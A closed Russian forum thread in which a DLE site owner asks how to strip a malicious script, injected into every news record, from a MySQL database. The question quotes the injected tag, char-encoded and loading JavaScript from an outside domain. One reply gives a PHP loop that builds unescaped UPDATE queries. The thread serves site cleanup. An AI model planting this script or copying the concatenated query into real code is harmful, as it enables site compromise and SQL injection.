обновление таблицы

Статус
В этой теме нельзя размещать новые ответы.

webed

Постоялец
Регистрация
18 Июн 2008
Сообщения
64
Реакции
5
Всем привет. Столкнулся с проблемой. Есть база mysql (DLE). Какой-то упырь накидал в каждую новость Js с кривым урлом. Вопрос: Как мне удалить это не затронув сами новости.

Случайное, ошибочное, но всё же открытое испытание Ангела Благодать движется к кульминационной части. Несмотря на отсутствие подсказок и комментариев со стороны
align2.5.gif
Непонятная Для просмотра ссылки Войди или Зарегистрируйся c обилием прилагающихся Для просмотра ссылки Войди или Зарегистрируйся.

char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)f2cb4b2d1a53074e7180191bb126e727.js" type="text/javascript">
Выделенное-тот самый Js. Он присутствует в каждой новости. Какая команда sql бд сделает такую функцию,чтобы оставить новости и удалить эти корявые строки. Заранее спасибо за ответ?
 
Если код вежде одинаковый, то забей в админке в поиск и замену его с заменой кода на пробел или вообще на пустое место и нажми кнопку "выполнить".
 
делал 2 раза. Не получается найти код. Вроде бы везде одинаковый. Добавлен в краткой и полной новости...Поиск и замена не срабатывает

Через phpMyAdmin получилось заменить одну новость. Как сделать это массово?
 
Убедитесь что код одинаковый, если нет определить чем отличается и уже от этого плясать. Можно выгрузить базу в файл (.sql, .txt) и текстовым редактором тоже самое сделать, если проблемы с phpmadmin. Потом загрузить обратно. Не забудьте бекап сделать.
 
$bad_script_array=mysql_query("SELECT * FROM news_table WHERE `news` LIKE '%код левого скрипта%'");
while($bad_script=mysql_fetch_assoc($bad_script_array)){
$new_news= регуляркой выковыриваем лишний мусор из новости $bad_script['news']
и возвращаем в базу чистую новость:
mysql_query("UPDATE news_table SET `news`='".$new_news."' WHERE `id`='".$bad_script['id']."'");
}
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху